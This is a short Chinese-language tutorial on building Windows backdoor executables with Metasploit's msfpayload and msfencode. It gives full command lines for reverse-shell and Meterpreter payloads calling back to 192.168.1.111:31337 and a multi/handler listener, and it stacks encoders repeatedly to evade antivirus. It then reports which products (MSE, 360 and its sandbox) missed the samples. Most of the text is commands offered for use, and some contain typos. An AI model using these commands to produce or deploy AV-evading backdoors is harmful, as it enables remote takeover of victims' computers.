msfencode主要功能是对输入过来的数据进行编码,如果不指定编码方式则使用默认编码,然后将编码后的数据包装成可执行文件,或者将数据附着到一个指定的已存在的文件上达到表面免杀效果。
(1) 使用msfpayload创建可执行后门
msfpayload windows/shell_reverse_tcp 0 #查看选项
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X> /var/www/payloadl .exe
msf> use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit
(2) 使用msfencode编码后门-过杀软
msfencode -1列出可用编码器,使用R参数作为raw输出至管道,再经过msfencode处理,最后导出。
msfpayload windows/shellreversetcp LHOST=192.168.1.111 LP0RT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe
(3) 多次编码
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17次循环编码。
msfpayload windows/meterpreter/reverse tcp LHOST=192.168.1.111 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5-t exe -o /var/www/payload3 .exe
(4) 测试如下
1) 使用此命令生成的后门也被MSE杀到;
2) 未编码的后门或编码次数较少的后门可以直接被秒杀;
3) windows/x64/meterpreter/reverse_tcp生成的后门未经任何处理既然不被杀,看来杀毒软件傻逼了;
4) x86编码器编码的后门在64位机器上无法执行;
5) 360有个沙箱功能,后门文件右键选择“在360隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。
(5) 参数说明
-a 指定CPU的类型
-b 指定需要去除的字符,帮助中的示例00 ff这两种数值在网络传送中会被截断造成失败
-c 指定编码次数
-d 指定exe模板搜索路径
-e 指定使用的编码器
-i 指定要编码的数据文件
-k 设置生成的文件运行后的payload进程与模板文件进程分离
-l 列出可用payload
-n 输出编码器信息
-o 输出文件
-p 指定编码平台linux or windows
-s 指定编码后的字节数(payload的)
-t 生成文件类型
-v 增加详细
参考资料
https://samsclass.info/120/proj/p6x-AV-bypass.html